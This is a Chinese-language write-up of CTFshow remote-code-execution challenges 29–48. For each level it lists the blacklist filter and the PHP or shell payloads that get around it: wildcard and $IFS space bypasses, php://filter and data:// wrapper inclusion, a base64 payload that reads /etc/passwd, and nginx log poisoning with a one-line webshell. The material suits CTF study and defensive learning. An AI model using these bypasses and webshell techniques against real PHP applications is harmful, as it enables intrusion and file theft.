CTFshow-RCE29-48题

29题

image.png
过滤了 flag
不包含flag 字符 就执行下一个eval函数
payload

payload1:  system("tac%20fla*")  使用system和tac 来读取flag  fla* 这里使用通配符
payload2: ?c=highlight_file(next(array_reverse(scandir("."))));   这里使用php函数scandir来读取
当前目录下的文件  。使用array_reverse 进行反转 highlight_file函数用于读取指定文件的内容并对其进行语法高亮处理。

30题

image.png
增加了两个过滤 php 和 system
php可以依旧可以使用* 代替 ,system 可以使用exec 反引号 passthru 这几个常见参数
payload:

payload1: echo `ls` 使用反引号进行执行命令
payload2   echo exec($_GET[1]);&1=(ls)  但是这里我不知道为什么读取不到flag,能执行命令

image.png

payload3: passthru("tac%20fla*"); 这里要进行双引号不然读取不到  或者替换fla* 为 fla????? 

31题

image.png
主要来看就是过滤了空格
可以使用 %09 来代替空格 %00 0a 这些没有用 也可以使用 $IFS$9
image.png
payload

payload1:  echo%0aeval($_GET[1]);&1=system("tac%09fla*");
payload2:  echo`tac%09fla*`;   
payload3:  passthru("tac%09fla?????");
payload4:  show_source(next(array_reverse(scandir(pos(localeconv()))))); 通过函数来读取

32题

image.png
过滤了 空格 和 echo 和 ``
使用passthru 和 eval 这些联动 好像都没有 执行不了命令
这里使用文件包含的漏洞 和 php伪协议

include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

参考wp解释
https://ctf.show/writeups/1503329

33题

和上一题一样的解法

34题

echo过滤了,只能使用print include require
和上题解法差不多 ,但是换一种
image.png使用 文件包含漏洞写shell

?c=include%0a$_GET[1]?>&1=../../../../../../var/log/nginx/access.log

image.png
使用user-agent 加上 一句话木马 然后写进日志 再利用文件包含漏洞来解析连接一句话木马

http://93d274e5-2ea8-469c-85fe-5f821ccdc2e5.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log

连接payload
image.png
利用解析漏洞解析phpinfo()
image.png

35题

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);

增加过滤<
依旧可以使用文件包含
image.png
phpinfo()
image.png

同上使用写shell和伪协议读取flag

36题

同上

37题

image.png
过滤了flag 且使用的文件包含 include 这里可以使用前面的日志 写shell
这里换一种协议 data

data://next/palin;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=  
这后面的base64是 system(tac flag.php) 他会解析后面的php 然后echo 输出出来flag

image.png
image.png

38题

同上使用data协议

c=data:text/plain;base64,PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpKTsgPz4=

这里是读取/etc/passwd
payload

c=data://text/plain,<?=system('tac fl*.*');?>
这是不需要base64的

39题

同上

40题

image.png
过滤 0-9 还有很多符号

wp
https://ctf.show/writeups?challenge=402

说的意思是过滤了中文的括号 并没有去过滤英文的括号
然后使用php的函数来配合
image.png
payload

show_source(next(array_reverse(scandir(pos(localeconv())))));
GET  ?c=eval(array_pop(next(get_defined_vars())))&1=system('tac fl*'); POST 1=system('tac fl*');
eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php"); 

41题 *****

42题

image.png
一开始想的思路是 闭合 ,但发现这是拼接闭合不了 ,他会把所有的输出到 /dev/null 这个是linux的空文件 所以就不会显示
但是在liunx 中 可以 用 ;执行多个 命令
所以可以使用cat flag ;ls 来获取flag ,这里符合可以使用liunx 的 多个命令来执行

cat flag.php;ls
cat flag.php||ls

cat flag.php%0a  0a换行

image.png

43题

image.png
过滤了cat ; 这两个
还可以使用tac 这些 百分号0a ||
image.png

44题

image.png
过滤flag
使用fla??? 绕过

more%20fla?????%0a
tac%20fla?????%0a
tac%20fla?????||ls
tac fla*.php||

image.png

45题

image.png
过滤空格
使用$IFS$9 或者 %09 绕过

tac$IFS$1fla?????||ls
tac%09fla?????%0a

46题

image.png

不能使用0-9 和$ 就不能使用$IFS去绕过了  这里使用百分号09
tac%09fla?????%0a 去绕过 

tac%09fla?????%0a

47题

image.png
过滤了很多命令 但还是没有我喜欢用的tac
可以记住这几个命令

more|less|head|sort|tail

tac%09fla?????%0a

image.png

48题

tac%09fla?????||
nl<fla""g.php||
nl<fla''g.php||
  • 14
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值